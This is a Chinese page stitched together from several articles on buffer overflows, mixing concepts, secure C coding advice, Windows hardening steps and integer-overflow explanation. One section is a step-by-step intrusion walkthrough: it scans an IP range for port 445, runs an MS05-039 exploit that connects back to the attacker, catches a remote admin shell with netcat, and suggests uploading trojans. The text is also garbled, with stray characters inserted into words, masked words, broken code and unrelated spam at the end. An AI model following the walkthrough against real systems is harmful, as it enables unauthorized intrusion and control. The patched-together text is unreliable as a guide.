什么是缓冲区溢出
单的说就是程序对接受的输入数据没有进行有效的检测导致错误,后果可能造成程序崩溃或者执行攻击者的命令,详细的资料可以看unsecret.org的漏洞利用栏目 。
缓冲区溢出的概念
堆栈溢出(又称缓冲区溢出)攻击是最常用的黑客技术之一。我们知道,UNIX本身以及其上的许多应用程序都是用C语言编写的,C语言不检查缓冲区的边界。在某些情况下,如果用户输入的数据长度超过应用程序给定的缓冲区,就会覆盖其他数据区。这称作“堆栈溢出或缓冲溢出”。
一般情况下,覆盖其他数据区的数据是没有意义的,最多造成应用程序错误。但是,如果输入的数据是经过“黑客”精心设计的,覆盖堆栈的数据恰恰是黑客的入侵程序代码,黑客就获取了程序的控制权。如果该程序恰好是以root运行的,黑客就获得了root权限,然后他就可以编译黑客程序、留下入侵后门等,实施进一步地攻击。按照这种原理进行的黑客入侵就叫做“堆栈溢出攻击”。
为了便于理解,我们不妨打个比方。缓冲区溢出好比是将十磅的糖放进一个只能装五磅的容器里。一旦该容器放满了,余下的部分就溢出在柜台和地板上,弄得一团糟。由于计算机程序的编写者写了一些编码,但是这些编码没有对目的区域或缓冲区——五磅的容器——做适当的检查,看它们是否够大,能否完全装入新的内容——十磅的糖,结果可能造成缓冲区溢出的产生。如果打算被放进新地方的数据不适合,溢得到处都是,该数据也会制造很多麻烦。但是,如果缓冲区仅仅溢出,这只是一个问题。到此时为止,它还没有破坏性。当糖溢出时,柜台被盖住。可以把糖擦掉或用吸尘器吸走,还柜台本来面貌。与之相对的是,当缓冲区溢出时,过剩的信息覆盖的是计算机内存中以前的内容。除非这些被覆盖的内容被保存或能够恢复,否则就会永远丢失。
在丢失的信息里有能够被程序调用的子程序的列表信息,直到缓冲区溢出发生。另外,给那些子程序的信息——参数——也丢失了。这意味着程序不能得到足够的信息从子程序返回,以完成它的任务。就像一个人步行穿过沙漠。如果他依赖于他的足迹走回头路,当沙暴来袭抹去了这些痕迹时,他将迷失在沙漠中。这个问题比程序仅仅迷失方向严重多了。入侵者用精心编写的入侵代码(一种恶意程序)使缓冲区溢出,然后告诉程序依据预设的 *** 处理缓冲区,并且执行。此时的程序已经完全被入侵者操纵了。
入侵者经常改编现有的应用程序运行不同的程序。例如,一个入侵者能启动一个新的程序,发送秘密文件(支票本记录,口令文件,或财产清单)给入侵者的电子邮件。这就好像不仅仅是沙暴吹了脚印,而且后来者也会踩出新的脚印,将我们的迷路者领向不同的地方,他自己一无所知的地方。
缓冲区溢出的处理
你屋子里的门和窗户越少,入侵者进入的方式就越少……
由于缓冲区溢出是一个编程问题,所以只能通过修复被破坏的程序的代码而解决问题。如果你没有源代码,从上面“堆栈溢出攻击”的原理可以看出,要防止此类攻击,我们可以:
1、开放程序时仔细检查溢出情况,不允许数据溢出缓冲区。由于编程和编程语言的原因,这非常困难,而且不适合大量已经在使用的程序;
2、使用检查堆栈溢出的编译器或者在程序中加入某些记号,以便程序运行时确认禁止黑客有意造成的溢出。问题是无法针对已有程序,对新程序来讲,需要修改编译器;
3、经常检查你的操作系统和应用程序提供商的站点,一旦发现他们提供的补丁程序,就马上下载并且应用在系统上,这是更好的 *** 。但是系统管理员总要比攻击者慢一步,如果这个有问题的软件是可选的,甚至是临时的,把它从你的系统中删除。举另外一个例子,你屋子里的门和窗户越少,入侵者进入的方式就越少。
黑客主要先从微软漏洞公布表上或者0days上找到漏洞,再根据漏洞编写溢出程序(好多都自带扫描功能)包括本地提权溢出,远程提权溢出.编好后,先用那个扫描一下有漏洞的主机,然后再用它溢出获得权限,控制目标主机.
系统漏洞溢出主bai要分为远程溢du出和本地溢出两种,本地溢出造成的zhi后果是普通的用户dao可以利用漏洞进行权限的提升,而远程溢出的后果则是被黑客进行远程控制,进而造成被黑客安装程序来查看、更改或删除数据;或者创建拥有完全用户权限的新账户等一系列危险的操作。
在计算机内部,输入的数据通常被存放在一个临时的空间内,这个临时的空间就被成为缓冲区,缓冲区的容量事先已经被程序或操作系统定义好了。系统漏洞溢出主要是程序在向缓冲区内填充数据时,如果数据很多,超出了缓冲区的本身的容量,进而造成数据溢出存储空间,使装不下的数据覆盖在合法的数据上。这时系统就会出错,让黑客越过审核机制入侵系统。
在使用系统漏洞溢出攻击时,常常听到ShellCode这个词。ShellCode实际上就是一组可以完成我们想要的功能的机器代码,这些代码通常都是以十六进制的数组形式存在的,黑客常常会根据自己需要实现的目的来编写这段代码。最常见的ShellCode形式,就是一个打开DOS窗口的代码,从而使黑客得到一个远程的Shell,这样就完成了系统漏洞溢出的操作。成功的进行了远程溢出操作后,黑客还会通过FTP、Tftp等命令上传可以进行远程控制的程序并执行,最终达到远程控制的目的,这也是现在流行利用漏洞溢出进行入侵的原因。
入侵实战
之一步:漏洞分析
本次讲解以Windows即插即用远程代码执行漏洞(MS05-039)为例。造成该漏洞的主要原因是即插即用服务中未经检查的缓冲区出现了溢出漏洞,受影响的系统主要包括Windows 2000和WindowsXP SP1 。
第二步:扫描计算机
首先我们来查找存在MS05-039漏洞的远程计算机,由于存在这个漏洞的系统都开放了445和139端口,所以我们只要利用一个扫描器对一个大范围的IP段的445端口进行扫描即可。那些打开445端口的计算机就有可能存在MS05-039漏洞,这样为我们进行远程溢出提供了目标。
今天我们使用的扫描器是s.exe。打开一个命令提示符窗口,输入命令:s tcp 192.168.0.1 192.168.0.255 445 120 /save,这段命令的意思是利用120个线程数,扫描192.168.0.1到192.168.0.255这个IP段中TCP协议下的445端口,扫描的线程为120,并将扫描的结果保存到硬盘中一个名为Result的文本文件中(图1)。
第三步:溢出系统
现在我们就可以利用漏洞工具对远程计算机进行攻击。我们首先来看看该工具的使用 *** 。打开一个命令提示符窗口,执行漏洞利用工具后查看它的使用 *** (图2)。从图中我们可以看到,该工具是通过反弹连接的形式进行远程数据溢出的,这样即使远程计算机安装有 *** 防火墙,我们也可以成功地进行溢出操作。
下面我们在命令提示符窗口执行:ms05039 192.168.0.3 192.168.0.2 4466 1,首先来说说这段命令的意思。192.168.0.3 是远程计算机的IP地址,192.168.0.2是本地计算机的IP地址,4466是成功溢出远程计算机数据后将连接到本地计算机的4466这个端口,1代表远程系统是中文版本,如果是英文就设置为0。当成功的执行了远程数据的溢出操作后,漏洞利用工具会出现溢出成功的提示(图3)。
当我们成功溢出远程数据后,就需要马上通过nc来监听反弹连接到本地4466端口的数据。重新再开启一个命令提示符窗口,在输入命令:nc -vv -l -p 4466后进行数据监听,很快我们就可以在这个监听窗口得到一个拥有管理员权限的远程SHELL(图4)。
至此,我们已经成功的进入了远程计算机的系统。但是毕竟在DOS界面下工作有诸多的不便,所以我们在获得远程计算机的SHELL后,会通过FTP、TFTP等 *** 上传可以进行图形界面下工作的木马等程序,这样我们就可以轻松的对远程计算机进行控制。换句话说,我们从那时起就真正的可以“主宰”这台远程主机的命运了。
攻击后果以及防范
通过系统漏洞溢出进行远程攻击已经成为当前最为行之有效的一种攻击手段,这种 *** 不但可以对个人的电脑进行攻击,还可以对某些服务器进行攻击。除此以外,溢出攻击在操作使用上也非常的简单,任何朋友只要按照前面讲述的步骤进行操作,基本上都能成功的进行溢出攻击。
介于系统漏洞溢出这种攻击的高危害性,所以人们一定要提高警惕,使用各种有效的 *** 对这种攻击手段进行防范。
首先,由于这种攻击手段是由系统漏洞引起的,所以为了避免系统遭受到攻击,应该尽快的安装相应的安全补丁。就拿今天举例的这个Windows即插即用远程代码执行漏洞来说吧,用户就应该尽快的安装MS05039漏洞补丁。
MS05039漏洞补丁:http://www.microsoft.com/china/technet/security/bulletin/MS05-039.mspx
其次,由于某些原因使用户不能在之一时间安装补丁的,也可以通过其他的一些变通的办法来阻止系统受到侵害,当然每个漏洞变通的解决办法是不相同的。就MS05039漏洞而言,用户只要通过对系统信息的重新配置,就可以封堵系统TCP 端口139和445端口,然后切断黑客和病毒入侵的途径。
关闭139端口的 ***
1.点击“开始菜单”后,选择“设置”菜单中的“ *** 连接”选项。
2.接着在弹出的“ *** 连接”窗口中点击“本地连接”选目的“属性”命令。
3.然后在弹出的“本地连接属性”窗口中选取“Internet协议(TCP/IP)”选项并点击“属性”按钮。
4.最后进入“高级TCP/IP设置”窗口,选择“WINS设置”选项卡,在里面有一项“禁用TCP/IP的NETBIOS”,选择该选项后就会关闭139端口了。
关闭445端口的 ***
1.在命令行窗口运行修改注册表命令RegEdit。
2.在弹出的注册表编辑窗口的左边找到下面目录HKEY_LOCAL_MACHINESystemCurrentContr
olSetServicesNet *** Parameters
你可以一级一级目录往下点击,也可用“查找”命令找到Net *** 项,然后点击Parameters项。
3.在编辑窗口的右边空白处点击鼠标右键,出现的“新建”菜单中选择“DWORD值”,将新建的DWORD参数命名为“ *** BDeviceEnabled”,数值为缺省的“0”。
4.修改完后退出RegEdit,重启机器。
5.运行“netstat –an”,你将会发现你的445端口已经不再Listening了。
最后,及时安装最新版本的杀毒软件,并且升级到最新的病毒库,打开及时监控功能,这样虽然不能彻底防范黑客和病毒对我们系统的入侵,当可以在之一时间对发现的可疑恶意程序进行查杀。
溢出
目录·【简介】
·【内存溢出】
·为什么会出现内存溢出问题
·如何解决溢出内存问题
·【缓冲区溢出】
·缓冲区溢出分类
·为什么缓冲区溢出如此常见
·防止缓冲区溢出的新技术
【简介】
溢出是黑客利用操作系统的漏洞,专门开发了一种程序,加相应的参数运行后,就可以得到你电脑具有管理员资格的控制权,你在你自己电脑上能够运行的东西他可以全部做到,等于你的电脑就是他的了。在黑客频频攻击、在系统漏洞层出不穷的今天,作为 *** 管理员、系统管理员的我们虽然在服务器的安全上都下了不少功夫:诸如,及时的打上系统安全补丁、进行一些常规的安全配置,但是仍然不太可能每台服务器都会在之一时间内给系统打上全新补丁。因此我们必需要在还未被入侵之前,通过一些系列安全设置,来将入侵者们挡在“安全门”之外。
【内存溢出】
内存溢出已经是软件开发历史上存在了近40年的“老大难”问题,象在“红色代码”病毒事件中表现的那样,它已经成为黑客攻击企业 *** 的“罪魁祸首”。
如在一个域中输入的数据超过了它的要求就会引发数据溢出问题,多余的数据就可以作为指令在计算机上运行。据有关安全小组称,操作系统中超过50%的安全漏洞都是由内存溢出引起的,其中大多数与微软的技术有关。
微软的软件是针对台式机开发的,内存溢出不会带来严重的问题。但现在台式机一般都连上了互联网,内存溢出就为黑客的入侵提供了便利条件。
为什么会出现内存溢出问题
导致内存溢出问题的原因有很多,比如:
(1) 使用非类型安全(non-type-safe)的语言如 C/C++ 等。
(2) 以不可靠的方式存取或者复制内存缓冲区。
(3) 编译器设置的内存缓冲区太靠近关键数据结构。
下面来分析这些因素:
1. 内存溢出问题是 C 语言或者 C++ 语言所固有的缺陷,它们既不检查数组边界,又不检查类型可靠性(type-safety)。众所周知,用 C/C++ 语言开发的程序由于目标代码非常接近机器内核,因而能够直接访问内存和寄存器,这种特性大大提升了 C/C++ 语言代码的性能。只要合理编码,C/C++ 应用程序在执行效率上必然优于其它高级语言。然而,C/C++ 语言导致内存溢出问题的可能性也要大许多。其他语言也存在内容溢出问题,但它往往不是程序员的失误,而是应用程序的运行时环境出错所致。
2. 当应用程序读取用户(也可能是恶意攻击者)数据,试图复制到应用程序开辟的内存缓冲区中,却无法保证缓冲区的空间足够时(换言之,假设代码申请了 N 字节大小的内存缓冲区,随后又向其中复制超过 N 字节的数据)。内存缓冲区就可能会溢出。想一想,如果你向 12 盎司的玻璃杯中倒入 16 盎司水,那么多出来的 4 盎司水怎么办?当然会满到玻璃杯外面了!
3. 最重要的是,C/C++ 编译器开辟的内存缓冲区常常邻近重要的数据结构。现在假设某个函数的堆栈紧接在在内存缓冲区后面时,其中保存的函数返回地址就会与内存缓冲区相邻。此时,恶意攻击者就可以向内存缓冲区复制大量数据,从而使得内存缓冲区溢出并覆盖原先保存于堆栈中的函数返回地址。这样,函数的返回地址就被攻击者换成了他指定的数值;一旦函数调用完毕,就会继续执行“函数返回地址”处的代码。非但如此,C++ 的某些其它数据结构,比如 v-table 、例外事件处理程序、函数指针等,也可能受到类似的攻击。
好,闲话少说,现在来看一个具体的例子。
请思考:以下代码有何不妥之处?
void CopyData(char *szData) {
char cDest[32];
strcpy(cDest,szData);
// 处理 cDest
...
}
奇怪,这段代码好像没什么不对劲啊!确实,只有调用上述 CopyData() 才会出问题。例如:这样使用 CopyData() 是安全的:
char *szNames[] = {"Michael","Cheryl","Blake"};
CopyData(szName[1]);
为什么呢?因为数组中的姓名("Michael"、"Cheryl"、"Blake")都是字符串常量,而且长度都不超过 32 个字符,用它们做 strcpy() 的参数总是安全的。再假设 CopyData 的唯一参数 szData 来自 socket 套接字或者文件等不可靠的数据源。由于 strcpy 并不在乎数据来源,只要没遇上空字符,它就会一个字符一个字符地复制 szData 的内容。此时,复制到 cDest 的字符串就可能超过 32 字符,进而导致内存缓冲区 cDest 的溢出;溢出的字符就会取代内存缓冲区后面的数据。不幸的是,CopyData 函数的返回地址也在其中!于是,当 CopyData 函数调用完毕以后,程序就会转入攻击者给出的“返回地址”,从而落入攻击者的圈套!授人以柄,惨!
前面提到的其它数据结构也可能受到类似的攻击。假设有人利用内存溢出漏洞覆盖了下列 C++ 类中的 v-table :
void CopyData(char *szData) {
char cDest[32];
CFoo foo;
strcpy(cDest,szData);
foo.Init();
}
与其它 C++ 类一样,这里的 CFoo 类也对应一个所谓的 v-table,即用于保存一个类的全部 *** 地址的列表。若攻击者利用内存溢出漏洞偷换了 v-table 的内容,则 CFoo 类中的所有 *** ,包括上述 Init() *** ,都会指向攻击者给出的地址,而不是原先 v-table 中的 *** 地址。顺便说一句,即使你在某个 C++ 类的源代码中没有调用任何 *** ,也不能认为这个类是安全的,因为它在运行时至少需要调用一个内部 *** ——析构器(destructor)!当然,如果真有一个类没有调用任何 *** ,那么它的存在意义也就值得怀疑了。
如何解决溢出内存问题
下面讨论内存溢出问题的解决和预防措施。
1、改用受控代码
2002 年 2 月和 3 月,微软公司展开了 Microsoft Windows Security Push 活动。在此期间,我所在的小组一共培训了超过 8500 人,教授他们如何在设计、测试和文档编制过程中解决安全问题。在我们向所有程序设计人员提出的建议中,有一条就是:紧跟微软公司软件开发策略的步伐,将某些应用程序和工具软件由原先基于本地 Win32 的 C++ 代码改造成基于 .NET 的受控代码。我们的理由很多,但其中最根本的一条,就是为了解决内存溢出问题。基于受控代码的软件发生内存溢出问题的机率要小得多,因为受控代码无法直接存取系统指针、寄存器或者内存。作为开发人员,你应该考虑(至少是打算)用受控代码改写某些应用程序或工具软件。例如:企业管理工具就是很好的改写对象之一。当然,你也应该很清楚,不可能在一夜之间把所有用 C++ 开发的软件用 C# 之类的受控代码语言改写。
2、遵守黄金规则
当你用 C/C++ 书写代码时,应该处处留意如何处理来自用户的数据。如果一个函数的数据来源不可靠,又用到内存缓冲区,那么它就必须严格遵守下列规则:
必须知道内存缓冲区的总长度。
检验内存缓冲区。
提高警惕。
让我们来具体看看这些“黄金规则”:
(1)必须知道内存缓冲区的总长度。
类似这样的代码就有可能导致 bug :
void Function(char *szName) {
char szBuff[MAX_NAME];
// 复制并使用 szName
strcpy(szBuff,szName);
}
它的问题出在函数并不知道 szName 的长度是多少,此时复制数据是不安全的。正确的做法是,在复制数据前首先获取 szName 的长度:
void Function(char *szName, DWORD cbName) {
char szBuff[MAX_NAME];
// 复制并使用 szName
if (cbName MAX_NAME)
strcpy(szBuff,szName);
}
这样虽然有所改进,可它似乎又过于信任 cbName 了。攻击者仍然有机会伪造 czName 和 szName 两个参数以谎报数据长度和内存缓冲区长度。因此,你还得检检这两个参数!
(2)检验内存缓冲区
如何知道由参数传来的内存缓冲区长度是否真实呢?你会完全信任来自用户的数据吗?通常,答案是否定的。其实,有一种简单的办法可以检验内存缓冲区是否溢出。请看如下代码片断:
void Function(char *szName, DWORD cbName) {
char szBuff[MAX_NAME];
// 检测内存
szBuff[cbName] = 0x42;
// 复制并使用 szName
if (cbName MAX_NAME)
strcpy(szBuff,szName);
}
这段代码试图向欲检测的内存缓冲区末尾写入数据 0x42 。你也许会想:真是多此一举,何不直接复制内存缓冲区呢?事实上,当内存缓冲区已经溢出时,一旦再向其中写入常量值,就会导致程序代码出错并中止运行。这样在开发早期就能及时发现代码中的 bug 。试想,与其让攻击者得手,不如及时中止程序;你大概也不愿看到攻击者随心所欲地向内存缓冲区复制数据吧。
(3)提高警惕
虽然检验内存缓冲区能够有效地减小内存溢出问题的危害,却不能从根本上避免内存溢出攻击。只有从源代码开始提高警惕,才能真正免除内存溢出攻击的危胁。不错,上一段代码已经很对用户数据相当警惕了。它能确保复制到内存缓冲区的数据总长度不会超过 szBuff 的长度。然而,某些函数在使用或复制不可靠的数据时也可能潜伏着内存溢出漏洞。为了检查你的代码是否存在内存溢出漏洞,你必须尽量追踪传入数据的流向,向代码中的每一个假设提出质疑。一旦这么做了,你将会意识到其中某些假设是错误的;然后你还会惊讶地叫道:好多 bug 呀!
在调用 strcpy、strcat、gets 等经典函数时当然要保持警惕;可对于那些所谓的第 n 版 (n-versions) strcpy 或 strcat 函数 —— 比如 strncpy 或 strncat (其中 n = 1,2,3 ……) —— 也不可轻信。的确,这些改良版本的函数是安全一些、可靠一些,因为它们限制了进入内存缓冲区的数据长度;然而,它们也可能导致内存溢出问题!请看下列代码,你能指出其中的错误吗?
#define SIZE(b) (sizeof(b))
char buff[128];
strncpy(buff,szSomeData,SIZE(buff));
strncat(buff,szMoreData,SIZE(buff));
strncat(buff,szEvenMoreData,SIZE(buff));
给点提示:请注意这些字符串函数的最后一个参数。怎么,弃权?我说啊,如果你是执意要放弃那些“不安全”的经典字符串函数,并且一律改用“相对安全”的第 n 版函数的话,恐怕你这下半辈子都要为了修复这些新函数带来的新 bug 而疲于奔命了。呵呵,开个玩笑而已。为何这么说?首先,它们的最后一个参数并不代表内存缓冲区的总长度,它们只是其剩余空间的长度;不难看出,每执行完一个 strn... 函数,内存缓冲区 buff 的长度就减少一些。其次,传递给函数的内存缓冲区长度难免存在“大小差一”(off-by-one)的误差。你认为在计算 buff 的长度时包括了字符串末尾的空字符吗?当我向听众提出这个问题时,得到的肯定答复和否定答复通常是 50 比 50 ,对半开。也就是说,大约一半人认为计算了末尾的空字符,而另一半人认为忽略了该字符。最后,那些第 n 版函数所返回的字符串不见得以空字符结束,所以在使用前务必要仔细阅读它们的说明文档。
3、编译选项 /GS
“/GS”是 Visual C++ .NET 新引入的一个编译选项。它指示编译器在某些函数的堆栈帧(stack-frames) 中插入特定数据,以帮助消除针对堆栈的内存溢出问题隐患。切记,使用该选项并不能替你清除代码中的内存溢出漏洞,也不可能消灭任何 bug 。它只是亡羊补牢,让某些内存溢出问题隐患无法演变成真正的内存溢出问题;也就是说,它能防止攻击者在发生内存溢出时向进程中插入和运行恶意代码。无论如何,这也算是小小的安全保障吧。请注意,在新版的本地 Win32 C++ 中使用 Win32 应用程序向导创建新项目时,默认设置已经打开了此选项。同样,Windows .NET Server 环境也默认打开了此选项。关于 /GS 选项的更多信息,请参考 Brandon Bray 的《Compiler Security Checks In Depth》一书。
所谓定点数溢出是指定点数的运算结果的绝对值大于计算机能表示的更大数的绝对值。浮点数的溢出又可分为“上溢出”和“下溢出”两种,“上溢出”与整数、定点数的含义相同,“下溢出”是指浮点数的运算结果的绝对值小于机器所能表示的最小数绝对值,此时将该运算结果处理成机器零。若发现溢出(上溢出),运算器将产生溢出标志或发出中断请求,当溢出中断未被屏蔽时,溢出中断信号的出现可中止程序的执行而转入溢出中断处理程序。BRBR
例如:有两个数0.1001111和0.1101011相加,其结果应为1.0111010。由于定点数计算机只能表示小于1的数,如果字长只有8位,那么小数点前面的1,会因没有触发器存放而丢失。这样,上述两个数在计算机中相加,其结果变为0.0111010。又如,有两个数0.0001001和0.00001111相乘,其结果应为0.00000000111111,若字长只有8位,则结果显示为0.0000000,后面的1个0和6个1全部丢失,显然这个结果有误差。计算机的任何运算都不允许溢出,除非专门利用溢出做判断,而不使用所得的结果。所以,当发生和不允许出现的溢出时,就要停机或转入检查程序,以找出产生溢出的原因,做出相应的处理。
【缓冲区溢出】
缓冲区是用户为程序运行时在计算机中申请的一段连续的内存,它保存了给定类型的数据。缓冲区溢出指的是一种常见且危害很大的系统攻击手段,通过向程序的缓冲区写入超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其他的指令,以达到攻击的目的。更为严重的是,缓冲区溢出攻击占了远程 *** 攻击的绝大多数,这种攻击可以使得一个匿名的Internet用户有机会获得一台主机的部分或全部的控制权!由于这类攻击使任何人都有可能取得主机的控制权,所以它代表了一类极其严重的安全威胁。
缓冲区溢出攻击的目的在于扰乱具有某些特权运行的程序的功能,这样可以使得攻击者取得程序的控制权,如果该程序具有足够的权限,那么整个主机就被控制了。一般而言,攻击者攻击root程序,然后执行类似“exec(sh)”的执行代码来获得root的shell。为了达到这个目的,攻击者必须达到如下的两个目标:在程序的地址空间里安排适当的代码;通过适当地初始化寄存器和存储器,让程序跳转到事先安排的地址空间执行。根据这两个目标,可以将缓冲区溢出攻击分为以下3类。
缓冲区溢出(又称堆栈溢出)攻击是最常用的黑客技术之一。这种攻击之所以泛滥,是由于开放源代码程序的本质决定的。Unix本身以及其上的许多应用程序都是用C语言编写的,而C语言不检查缓冲区的边界。在某些情况下,如果用户输入的数据长度超过应用程序给定的缓冲区,就会覆盖其他数据区,这就称作"缓冲区溢出"。 一般情况下,覆盖其他数据区的数据是没有意义的,最多造成应用程序错误;但是,如果输入的数据是经过"黑客"精心设计的,覆盖缓冲区的数据恰恰是黑客的入侵程序代码,黑客就获取了程序的控制权。尽管这项攻击的技术要求非常高,而一旦执行这项攻击的程序被设计出来却是非常简单的。由于缓冲区溢出是一个编程问题,所以他们只能通过修复被破坏的程序代码来解决问题。从"缓冲区溢出攻击"的原理可以看出,要防止此类攻击,我们可以在开放程序时仔细检查溢出情况,不允许数据溢出缓冲区。经常检查操作系统和应用程序提供商的站点,一旦发现补丁程序就马上下载是更好的 *** 。
楼主您好! buffer overflow (english) 缓冲区溢出(英语)The condition wherein the data transferred to a buffer exceeds the storage capacity of the buffer and some of the data verflows into another buffer, one that the data was not intended to go into. Since buffers can only hold a specific amount of data, when that capacity has been reached the data has to flow somewhere else, typically into another buffer, which can corrupt data that is already contained in that buffer. 其中的数据转移到一个缓冲区,超过缓冲区和一些数据到另一个缓冲区,该数据不打算进入verflows的存储容量。由于缓冲区只能容纳一个具体的数据量,当这种能力已达到数据流别处,通常到另一个缓冲区,这可能会损坏已在该缓冲区中的数据。 Malicious hackers can launch buffer overflow attacks wherein data with instructions to corrupt a system are purposely written into a file in full knowledge that the data will overflow a buffer and release the instructions into the computer instructions. 恶意黑客可以发动缓冲区溢出攻击,将包含破坏系统的数据与指令故意写到一个文件中,这些数据将导致一个缓冲区溢出,并释放这些指令到计算机指令中。
作为软件开发商,确保代码的完整性要求不断提高警惕性和纪律性。如今的软件状况和近年来的货币压力很相似,但不同的是:有了货币,各国 *** 可以不断创造新技术以提高货币防伪性,而有了软件,犯罪份子则能够不断创造新技术来攻击我们的代码。 所有这些攻击直接针对源代码,整数溢出是其中更具威胁性的漏洞。这些漏洞潜伏在用户软件中,而在传统测试包中很难触发这些漏洞,这些漏洞往往是黑客寻找渗透点的首要目标。 一般来讲,当恶意攻击者将未经审核的加减称出运算(程序员通常看不出运算操作具有威胁性)通过特殊输入推向极限时,就会出现整数溢出的现象。如果攻击者成功执行整数溢出,结果可能让整个系统崩溃或者导致拒绝服务攻击。由于消除整数溢出漏洞的成本较高,程序员必须想办法找出这些漏洞并在释放代码之前消除漏洞。 在代码中避免这些漏洞的防御解决方案包括:在算数运算进行前对每个用户可以更改的运算值进行严格检查。然而,对于大多数应用程序而言,这将是个艰巨的任务,因为用户提供的运算值可以在多个函数调用边界至程序点传播,而在这些地方算数运算的算数值的源码都是不清楚的。 基于静态分析的工具可以用来检查程序中的整数溢出漏洞。并且,根据问题的本质性,静态分析工具应该能在真正程序路径内准确追踪数值。近日,SAT分析表明执行该分析能够检测整数溢出漏洞,并且程序员需要确保代码受到保护。精确到比特的数据分析和使用SAT限制控制流,再加上SAT解决器,可以确保准确报告潜在漏洞的同时保持很小的报错率。 定义整数溢出以及黑客如何利用整数溢出发动攻击 整数溢出是一种软件行为,由于算术运算的计算结果太大而无法在系统位宽度范围内存储导致的。现在大多数机器都是32位或者64位的,这就限制了存储算数运算的输出数只能保存在32位或者64位中。 那么,当算术运算的结果太大而无法存储系统位宽范围内,数值结果就会被截断,导致产生不可预计的结果。尽管如此,这种满溢的数值可以用在很多关键操作中,如数组索引、内存分配或者内存逆向引用。 这种整数溢出不仅会导致软件内部崩溃,而且能够让攻击者通过攻击整数溢出安全漏洞访问或者破坏系统的重要内存。下面的代码显示的是两个未签名32位数值的加法计算,如果总和大于UINT_MAX(2^32 – 1或者0xFFFFFFFF)就可能出现溢出。 在上面的例子中,如果a和b都等于2^31 + 1,产生的结果x(即2^32 + 2)就会超过32位,从而使x缩短为32位,该x溢出值将作为标准输出,所得出的结果将于程序员a和b相加的结果不相符。不过,由于这种溢出是良性的,因此并没有对这个程序造成严重影响。但情况并非总是如此,让我们看看下面的例子: 在上面的例子中,x仍然包含a+b的溢出值,如果a和b都是2^31 + 1,那么x就会是2。如果之后溢出值x作为mlloc的内存分配大小参数,将只分配x字节(x值并不等于a加b字节)。这样就与程序与分配a+b字节(即2^32 + 2 )的预想不相符,并且系统将只分配x字节(即2)。 在第七行的access值为p[a](这个例子中为p[2^31 + 1]),能够访问未分配甚至特权内存位置。恶意攻击者可能会控制a和b的值(从用户读取)以攻击整数溢出漏洞从而读取甚至破坏特权内存位置。 另外,在上面的例子中,如果恶意攻击者确定了一个2字节内存分配的地址(称为L),并随后决定代表关键安全特权的内存是L的40字节偏移值(offset),用户可以分别将a和b的值设置为40和2^32 – 38,得出的结果x溢出,并包含数值2,这使2字节分配位置L在第六行上,而第七行的p[a] 从L处重写40字节的内存位置偏移值。 这种对任意内存位置的重写很容易激发整数溢出漏洞,特别是对于那些通常运行超级管理特权的重要安全应用程序,因为重要安全内存位置位于英语程序的地址空间内。对于实际应用的软件中的整数溢出漏洞,攻击者可以用任意代码的地址覆盖地址代码,从而使软件执行任意代码。
何为缓冲区溢出 缓冲区溢出是指当计算机程序向缓冲区内填充的数据位数超过了缓冲区本身的容量。溢出的数据覆盖在合法数据上。理想情况是,程序检查数据长度并且不允许输入超过缓冲区长度的字符串。但是绝大多数程序都会假设数据长度总是与所分配的存储空间相匹配,这就为缓冲区溢出埋下隐患。*作系统所使用的缓冲区又被称为堆栈,在各个*作进程之间,指令被临时存储在堆栈当中,堆栈也会出现缓冲区溢出。 当一个超长的数据进入到缓冲区时,超出部分就会被写入其他缓冲区,其他缓冲区存放的可能是数据、下一条指令的指针,或者是其他程序的输出内容,这些内容都被覆盖或者破坏掉。可见一小部分数据或者一套指令的溢出就可能导致一个程序或者*作系统崩溃。 溢出根源在于编程 缓冲区溢出是由编程错误引起的。如果缓冲区被写满,而程序没有去检查缓冲区边界,也没有停止接收数据,这时缓冲区溢出就会发生。缓冲区边界检查被认为是不会有收益的管理支出,计算机资源不够或者内存不足是编程者不编写缓冲区边界检查语句的理由,然而摩尔定律已经使这一理由失去了存在的基础,但是多数用户仍然在主要应用中运行十年甚至二十年前的程序代码。 缓冲区溢出之所以泛滥,是由于开放源代码程序的本质决定的。一些编程语言对于缓冲区溢出是具有免疫力的,例如Perl能够自动调节字节排列的大小,Ada95能够检查和阻止缓冲区溢出。但是被广泛使用的C语言却没有建立检测机制。标准C语言具有许多复制和添加字符串的函数,这使得标准C语言很难进行边界检查。C++略微好一些,但是仍然存在缓冲区溢出。一般情况下,覆盖其他数据区的数据是没有意义的,最多造成应用程序错误,但是,如果输入的数据是经过“黑客”或者病毒精心设计的,覆盖缓冲区的数据恰恰是“黑客”或者病毒的入侵程序代码,一旦多余字节被编译执行,“黑客”或者病毒就有可能为所欲为,获取系统的控制权。 溢出导致“黑客”病毒横行 缓冲区溢出是病毒编写者和特洛伊木马编写者偏爱使用的一种攻击 *** 。攻击者或者病毒善于在系统当中发现容易产生缓冲区溢出之处,运行特别程序,获得优先级,指示计算机破坏文件,改变数据,泄露敏感信息,产生后门访问点,感染或者攻击其他计算机。 2000年7月,微软Outlook以及Outlook Express被发现存在漏洞能够使攻击者仅通过发送邮件就能危及目标主机安全,只要邮件头部程序被运行,就会产生缓冲区溢出,并且触发恶意代码。2001年8月,“红色代码”利用微软IIS漏洞产生缓冲区存溢出,成为攻击企业 *** 的“罪魁祸首”。2003年1月,Slammer蠕虫利用微软SQL漏洞产生缓冲区溢出对全球互联网产生冲击。而在近几天,一种名为“冲击波”的蠕虫病毒利用微软RPC远程调用存在的缓冲区漏洞对Windows 2000/XP、Windows Server 2003进行攻击,波及全球 *** 系统。据CERT安全小组称,*作系统中超过50%的安全漏洞都是由内存溢出引起的,其中大多数与微软技术有关,这些与内存溢出相关的安全漏洞正在被越来越多的蠕虫病毒所利用。 缓冲区溢出是目前导致“黑客”型病毒横行的主要原因。从红色代码到Slammer,再到日前爆发的“冲击波”,都是利用缓冲区溢出漏洞的典型。缓冲区溢出是一个编程问题,防止利用缓冲区溢出发起的攻击,关键在于程序开发者在开发程序时仔细检查溢出情况,不允许数据溢出缓冲区。此外,用户需要经常登录*作系统和应用程序提供商的网站,跟踪公布的系统漏洞,及时下载补丁程序,弥补系统漏洞。
找电脑黑客需要多少钱相关问题 goodwell黑客QQ相关问题 喜德盛黑客380什么时候出 什么网站可以装黑客(哪个网站可以体验黑客)...
目前在市场上印刷品,产品占的比重越来越高,印刷技术的不断进步,人们对于各种印刷产品的要求也一直不断的提高,在生活中画册随处可见,样式和种类都有太多种。有的是为了宣传公司和产品服务,有的是为了活动促...
